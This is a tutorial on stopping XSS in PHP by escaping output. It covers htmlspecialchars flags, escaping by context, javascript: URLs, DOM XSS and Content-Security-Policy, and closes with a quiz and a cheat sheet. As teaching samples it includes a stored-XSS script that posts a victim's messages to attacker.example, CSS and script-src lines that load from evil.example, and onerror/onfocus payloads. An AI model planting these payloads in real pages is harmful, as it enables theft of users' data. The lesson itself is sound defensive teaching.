Why `echo $_GET['name']` Runs Attacker Script: PHP Prints Bytes, the Browser Parses Markup
A comment box stores exactly what the visitor typed. One attacker posts this as their comment:
<script>
fetch('/api/messages').then(r => r.json()).then(d =>
fetch('https://attacker.example/collect', { method: 'POST', body: JSON.stringify(d) }));
</script>
Every visitor who later opens that thread runs those lines in their own session and drains their inbox to the attacker's server. Look at what actually failed: the row came back from Modeling Relations with Joins intact, your SELECT was fine, your controller was fine, and you printed the field with echo. PHP emitted bytes; the browser parsed those bytes as HTML markup, because markup is the only thing it ever receives. It has no way of knowing a string was once user input — a < character in the response means "a tag starts here", full stop.
The fix is htmlspecialchars(), which converts the five characters that carry meaning in HTML into entities that render as the characters themselves:
function e(?string $value): string
{
return htmlspecialchars((string)$value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
echo '<p class="body">' . e($comment->body) . '</p>';
echo '<span class="author">' . e($comment->author) . '</span>';
| Character | Becomes | What it stops |
|---|---|---|
< |
< |
opening a tag: <script>, <img src=x onerror=...> |
> |
> |
closing a tag the attacker opened |
& |
& |
starting an entity, so escaped text is not re-decoded later |
" |
" |
closing a double-quoted attribute |
' |
' |
closing a single-quoted attribute |
Why those three arguments instead of a bare htmlspecialchars($value):
ENT_QUOTESconverts single quotes as well as double quotes. The bare call is a portability trap: PHP 8.1 changed the default flags toENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, while older releases default toENT_COMPAT— double quotes only. Code written against one runtime and deployed on another silently loses half its escaping. Passing the flags states the semantics you meant, on every version.'UTF-8'must match the encoding your page declares in itsContent-Typeheader or meta tag. The escaper and the parser have to agree on where characters begin; if they disagree, an entity sequence is reconstructed at the wrong byte offset and an escape can be neutralized by a well-formed multibyte character before it.ENT_SUBSTITUTEhandles malformed input. Without it, a byte sequence that is not valid UTF-8 makeshtmlspecialchars()return an empty string — the comment vanishes instead of being escaped. With it, each bad sequence becomes U+FFFD (�) and the rest of the string still escapes normally.
Entities are a rendering instruction, not a rewrite of your data. <script> displays as the literal text <script> because the browser decides tag structure before decoding entities, so the decoded angle brackets never become operators. The stored row still contains real angle brackets; only the interpretation changed.
Interviews probe two failure modes here. First, escaping in the wrong layer — escaping at INSERT time corrupts every non-HTML consumer of that row, which is the next chapter. Second, escaping one context and skipping another: e($name) is correct in an HTML body and useless inside an unquoted attribute or a javascript: URL. Note the third trap while you are here: strip_tags() and addslashes() are not escaping. The first removes markup it recognizes and keeps attributes on allowlisted tags; the second backslash-quotes for a SQL grammar that prepared statements should be handling instead. Escaping is a per-context rule, and each context has its own.
Keeping user data out of syntax is also the whole story of the next topic, Defeating SQL Injection — same principle, different parser.
Escape at the Echo, Not at the INSERT: Stored Entities Corrupt Every Non-HTML Consumer
Your teammate reads the previous chapter, agrees with it, and moves the call one layer down:
// "escape once, at the boundary" — the wrong boundary
$data['body'] = htmlspecialchars($body, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
$pdo->prepare('INSERT INTO comments (body) VALUES (?)')->execute([$data['body']]);
The HTML page now renders safely, and four other consumers break. GET /api/comments returns "body": "Tom & Jerry", so a mobile client that trusts its API and renders natively shows entity text on screen. The nightly digest mails the same entity to a plain-text inbox. SELECT * FROM comments WHERE body = 'Tom & Jerry' matches zero rows, because the stored value is Tom & Jerry — and a UNIQUE index on the column now rejects the second user who legitimately types Tom & Jerry. Worst of all, the templates you are about to standardize still escape on output, and the user sees Tom &amp; Jerry with a double-encoded ampersand that no later escape can undo.
Store the bytes the user actually sent; escape in the template, at the moment of output, for the consumer you are rendering into. Escaping is a presentation decision, and only the presentation layer knows which presentation it is producing.
// write path — raw, no transformation
$pdo->prepare('INSERT INTO comments (body, author) VALUES (?, ?)')
->execute([$body, $author]);
// read path — escaped for this specific consumer
echo '<p>' . e($row['body']) . '</p>';
One stored value, many destinations, each with its own rule:
| Destination | Rule | What breaks if you use the HTML rule everywhere |
|---|---|---|
| HTML body / quoted attribute | htmlspecialchars($v, ENT_QUOTES, 'UTF-8') |
baseline — this is the one everybody knows |
Inside a <script> block |
json_encode($v, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) |
a </script> in the JSON ends the block early |
| URL query component | rawurlencode($v) |
& splits parameters, + collides with spaces |
| CSV export | fputcsv() plus strip leading = + - @ |
formula injection: `=cmd |
| JSON API | json_encode($v) raw |
entity text leaks to clients that never render HTML |
| Plain-text e-mail | no escaping; wrap lines instead | recipients read & out loud as "a m p" |
| CSS | never interpolate user data | background:url(https://evil.example/? exfiltrates on load |
The XSS-specific helpers are not interchangeable. htmlentities() is a superset of htmlspecialchars() that encodes every applicable character, so mixing the two produces visibly different markup for identical input and double-encodes text that was already escaped. strip_tags() is worse than either because it does not escape at all: strip_tags('<b onclick=alert(1)>hi</b>', '<b>') returns <b onclick=alert(1)>hi</b> — the allowlist keeps the tag and every attribute hanging off it. Stripping removes the markup you thought to ask about; escaping removes the markup the parser can act on.
There is exactly one defensible write-time transformation: rich text you are required to store as HTML. Even then, sanitize with a real HTML parser — walk the tree in DOMDocument, keep an allowlist of tags and attributes, delete every on* handler and every non-http(s) URL — and keep the output-side escape, the CSP from the final chapter, and the discipline in Defeating SQL Injection in place, because a sanitizer that misses one exotic attribute is a single missed echo away from stored XSS.
The review rule that catches this class instantly: a htmlspecialchars() call inside an INSERT, UPDATE, or a JSON serializer is the smell — that call belongs next to the echo.
Unquoted Attributes, javascript: URLs, and CSP: Three Ways One Careful Escape Still Fails
Escape every value carefully and you can still ship XSS, because escaping neutralizes characters, not intent. Three shapes account for most of the escapes-that-did-not-help bugs in review.
1. The attribute you forgot to quote.
echo '<input value=' . htmlspecialchars($name, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . ' placeholder="name">';
The escape ran, the flags were right, and a name of x autofocus onfocus=alert(document.domain) still fires. htmlspecialchars() converts < > & " ' — spaces, letters, and = pass through untouched — and an unquoted attribute value ends at the first whitespace, so everything after it becomes new attributes. The escape never inserts the quotes; you have to write them:
echo '<input value="' . e($name) . '" placeholder="name">';
That is why "we escape all output" fails code review as a slogan: the sentence does not say which context, and the context is the vulnerability.
2. The URL whose scheme you trusted. Inside href, e($url) leaves javascript:alert(1) perfectly intact — there is no special character to convert. Validate the scheme as data before it reaches the attribute:
$scheme = strtolower((string)parse_url($url, PHP_URL_SCHEME));
if (!in_array($scheme, ['http', 'https', 'mailto'], true)) {
$url = '/'; // unknown scheme: drop the destination
}
echo '<a href="' . e($url) . '">profile</a>';
filter_var($url, FILTER_VALIDATE_URL) is not a substitute: it accepts several schemes you never intended to allow, so the allowlist on the scheme is the actual check.
3. The context PHP never sees. Client code that copies a fragment into markup bypasses every server-side escape:
el.innerHTML = decodeURIComponent(location.hash.slice(1)); // #<img src=x onerror=...>
The fragment never reaches PHP, so there is no echo to escape — this is DOM-based XSS, and no amount of template review will find it. Render text with textContent and build elements with createElement() / setAttribute() instead of innerHTML.
When one of these slips — in a codebase large enough, one will — Content-Security-Policy is the layer that limits which scripts the browser will execute at all:
$nonce = bin2hex(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{$nonce}'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'");
// markup: <script nonce="<?= $nonce ?>">…</script>
With script-src reduced to 'self' plus a nonce that is fresh for that response, an injected <script src="https://attacker.example/x.js"> is refused and inline onerror= handlers never run — even though the injection itself succeeded. Two mechanics make or break it. The nonce must be new on every response — one cached page that reuses a nonce lets an attacker read it from the DOM and mint matching scripts. And when you are not sure which of your own scripts the policy will break, ship it first as Content-Security-Policy-Report-Only with a report-uri, collect the violations for a week, and only then enforce.
Know the limit too: CSP does not undo the injection, it does not stop text defacement, and a policy shipped with 'unsafe-inline' or 'unsafe-eval' hands most of the protection back. The directive set, the hash alternative to nonces, and the full report-only rollout are built in Security Headers and Cookie Flags.
Pair CSP with HttpOnly on the session cookie so document.cookie cannot read it. That limits theft but not action — a script running in your origin still issues authenticated requests. The complete answer an interviewer wants to hear first: escape every output in its own context, then let CSP catch what escaping missed.
Quiz
1. A template runs htmlspecialchars($v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') on the input Tom's <img src=x onerror=alert(1)>. What is printed?
2. A teammate escapes user text with htmlspecialchars before storing it, arguing that escaping once at the boundary covers every consumer. What breaks first?
3. A name is escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') and printed into an unquoted attribute: <input value=x autofocus onfocus=alert(1)>. Why did escaping not stop it?
4. Stored XSS injects <script src="https://evil.example/a.js"> into a page. Which header directive actually prevents that script from executing?
Flashcards
Question
What are the three arguments of the safe htmlspecialchars call, and what does each prevent?
Click to reveal answer
Answer
htmlspecialchars($v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'): ENT_QUOTES also converts single quotes (pre-8.1 defaults to ENT_COMPAT, double quotes only); ENT_SUBSTITUTE replaces invalid UTF-8 with U+FFFD instead of returning an empty string; the explicit UTF-8 charset keeps the escaper aligned with the encoding the page declares.
Question
Why escape on output instead of on input?
Click to reveal answer
Answer
Escaping is specific to the destination. Stored raw data stays searchable, usable in JSON, mail, and CSV, and never double-encodes; escaping at INSERT corrupts every non-HTML consumer (WHERE 'Tom & Jerry' stops matching) and shows &amp; wherever a template also escapes. Only the presentation layer knows which presentation it is producing.
Question
Which output contexts does htmlspecialchars NOT cover?
Click to reveal answer
Answer
Unquoted attributes (write the quotes yourself), URL schemes such as javascript: (allowlist http/https/mailto), inside <script> (use json_encode with JSON_HEX_TAG and friends), URL query components (rawurlencode), CSV cells (fputcsv plus strip leading = + - @), CSS (never interpolate), and DOM sinks such as innerHTML (use textContent/createElement).
Question
What does a nonce-based Content-Security-Policy do for XSS, and what does it not do?
Click to reveal answer
Answer
script-src 'self' 'nonce-…' refuses scripts that are neither same-origin nor nonce-matched, so injected <script src> and inline event handlers do not execute even when injection succeeded. It does not undo the injection, does not stop text defacement or data exfiltration through loose img-src/form-action, and gives everything back if 'unsafe-inline' or 'unsafe-eval' is present.
Question
What happens when htmlspecialchars receives invalid UTF-8 without ENT_SUBSTITUTE?
Click to reveal answer
Answer
It returns an empty string instead of a partially escaped result — the output disappears rather than leaking unescaped. With ENT_SUBSTITUTE each malformed sequence is replaced by U+FFFD and the rest of the string still escapes, which is why production calls pass ENT_SUBSTITUTE explicitly.
Revision Notes
Key Takeaways
- 1. PHP prints bytes, the browser parses markup — a < in any response means a tag starts there, regardless of where the string came from
- 2. htmlspecialchars($v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') is the HTML rule; each argument closes a distinct hole (single quotes, malformed UTF-8, encoding drift)
- 3. Escape at the echo, not at the INSERT: stored values stay raw so search, JSON, mail, and CSV consumers keep working without double encoding
- 4. Escaping is per context — script blocks, URLs, CSV cells, and CSS each need their own rule, and unquoted attributes or javascript: URLs defeat a perfect HTML escape
- 5. CSP with a per-response nonce limits which scripts run after an injection slips through; it is the second layer, never the first
Interview Tips
- • "Write the safe way to print user input in HTML" — write the e() helper with all three arguments named, then say out loud why ENT_QUOTES and ENT_SUBSTITUTE are in there; most candidates stop at htmlspecialchars($v)
- • "You escape on output — so where would you sanitize user HTML that must be stored as HTML?" — on input, with a DOM parser and an allowlist of tags and attributes, dropping on* handlers and non-http URLs; still escape everything else on output
- • "A user's name broke your page even though you called htmlspecialchars — what happened?" — it was printed into an unquoted attribute or a javascript: URL; escaping never inserts quotes and never inspects schemes, so the context was wrong, not the flags
- • "Does a Content-Security-Policy make escaping unnecessary?" — no: CSP blocks execution, not injection; it needs nonces or hashes, it degrades to nothing with 'unsafe-inline', and the discussion should end with defense in depth, not one silver bullet
Cheat Sheet
Escaping Output to Prevent XSS
The one call (HTML body and quoted attributes):
function e(?string $v): string {
return htmlspecialchars((string)$v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
echo '<p>' . e($row['body']) . '</p>'; // escape AT the echo, store raw
Why each argument:
| Argument | Failure without it |
|---|---|
ENT_QUOTES |
single quotes survive → breakout from '…' attributes (pre-8.1 default is ENT_COMPAT) |
'UTF-8' |
escaper and parser disagree on byte offsets; escape can be neutralized |
ENT_SUBSTITUTE |
invalid UTF-8 → function returns an empty string, output silently vanishes |
Characters converted: < > & " ' → < > & " '. Entities are decoded only after tag structure is decided, so escaped text renders literally without damaging stored data.
Escape table by destination:
| Destination | Rule |
|---|---|
| HTML body / quoted attr | htmlspecialchars($v, ENT_QUOTES, 'UTF-8') |
<script> block |
json_encode($v, JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT) |
| URL query part | rawurlencode($v) |
| CSV cell | fputcsv() + strip leading = + - @ (formula injection) |
| JSON API | json_encode($v) raw — never entity-encode |
| CSS | do not interpolate user data at all |
| Rich HTML | parse with DOMDocument, allowlist tags/attrs, drop on* and non-http URLs |
Three escapes that still fail:
- Unquoted attribute —
value=<?= e($name) ?>withx autofocus onfocus=alert(1); escaping never adds quotes, writevalue="<?= e($name) ?>". hrefscheme —e()leavesjavascript:alert(1)intact; allowlisthttp|https|mailtoviaparse_url($url, PHP_URL_SCHEME).- DOM XSS —
el.innerHTML = location.hash…never touches PHP; usetextContent/createElement().
Defense in depth (CSP):
$nonce = bin2hex(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{$nonce}'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'");
script-src blocks injected hosts and inline handlers; 'unsafe-inline'/'unsafe-eval' void it. HttpOnly cookies limit theft, not action.
Never: escape before INSERT/UPDATE (breaks search, JSON clients, mail — and double-encodes), use strip_tags() as escaping (allowlisted tags keep their attributes), or use htmlentities() in only some templates.